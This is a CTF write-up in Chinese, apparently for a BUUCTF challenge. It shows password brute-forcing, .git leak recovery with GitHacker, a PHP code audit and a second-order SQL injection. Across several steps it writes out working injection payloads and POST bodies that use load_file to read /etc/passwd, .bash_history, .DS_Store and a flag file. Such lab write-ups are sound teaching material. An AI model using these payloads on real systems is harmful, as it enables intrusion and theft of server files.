考点
密码爆破
git泄露
代码审计
二次注入
解题过程
打开
一个留言板页面
一个登录页面
自己手工试了下,不存在万能密码绕过。仔细看了下输入框,发现有关键字,直接bp启动,开始爆破zhangwei***
后三位。
构造3位纯数字作为payload
得到密码 zhangwei666
接下来登录
有个发帖和留言功能,用sqlmap也没检测出注入点。
接下来用dirsearch扫下目录。
1 | python3 dirsearch.py -u "http://ccd2d540-8775-4d4a-a19c-70165c4879f1.node4.buuoj.cn:81/" -x 404,429 -s 1 |
存在.git泄露
使用GitHacker对git文件进行恢复(ubuntu下)
1 | githacker --url http://ccd2d540-8775-4d4a-a19c-70165c4879f1.node4.buuoj.cn:81/.git --folder res --threads 1 |
得到一个write_do.php
的文件
进目录中查找更改历史
1 | git log --reflog |
只显示这一个,看了别的师傅wp,这里会出来3个历史更改,然后用 git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
命令,就可以得到完整的代码。
可能是工具或者环境的问题,这里直接给代码。
1 |
|
代码审计
这段代码有两个主要的作用,第一个分支write
,是将帖子的标题、内容、分类插入到数据库中,第二个分支comment
,提交留言,不过,这里在提交留言的时候,会先根据 bo_id
在数据库中进行查询,然后取出分类字段的字段值,然后再将取出的分类字段值和提交的留言以及bo_id插入到 comment
表中。虽说经过了 addslashes
进行转义,但是数据库中并不会存储 \
,所以在第二次取出category
,再次进行拼接插入的时候,就照成了注入,也是二次注入。
1 | $category = addslashes($_POST['category']); |
这里并不存在注入。
1 | # 这里的$category 是从数据中获取 |
二次注入
构造payload aa',content=database(),/*
先在index.php
POST
1 | title=111&category=aa',content=database(),/*&content=111 |
1 | title=111&category=aa%27%2Ccontent%3Ddatabase%28%29%2C%2F*&content=111 |
插入的数据
1 |
|
然后在comment.php
POST
1 | content=*/#&bo_id=2 |
1 | content=*%2F%23&bo_id=2 |
插入的数据
1 | insert into comment set category ='aa',content=database(),/*', content = '*/#',bo_id = '2'; |
真正在数据库中执行的语句为
1 | insert into comment set category = 'aa',content=database(), |
回显 数据库名
先用下面payload尝试读取/etc/passwd
index.php
1 | title=111&category=aa',content=(select load_file('/etc/passwd')),/*&content=111 |
comment.php
1 | content=*/#&bo_id=2 |
回显
按照别的师傅wp指示
读取 /home/www/.bash_histroy
构造payload
index.php
1 | title=111&category=aa',content=(select load_file('/home/www/.bash_history')),/*&content=111 |
再次读取 .DS_store
1 | title=111&category=aa',content=(select load_file('/tmp/html/.DS_Store')),/*&content=111 |
用hex函数继续读取
1 | title=111&category=aa',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*&content=111 |
解码
可以从字符串中看到一个带有flag字样的文件名,这个文件名不在/home/www中,在/var/www/html中,
接下来继续读取
1 | title=111&category=aa',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*&content=111 |
得到,解码,拿到flag。
总结
这道题两个考点,又学到了新知识,第一个是git源码泄露,原本一直用的是githack,但是这个工具只能下载文件,不能查看历史版本,通过大佬的wp,又了解到一个githacker的工具,中途花了不少时间去安装这个工具,还是踩了些坑,这个工具要比githack强大些。第二个知识就是二次注入,二次注入做了很多次,每次花样都不一样,不看wp肯定做不起,不过又了解到了一种姿势,就此记录下来,原理都是一样。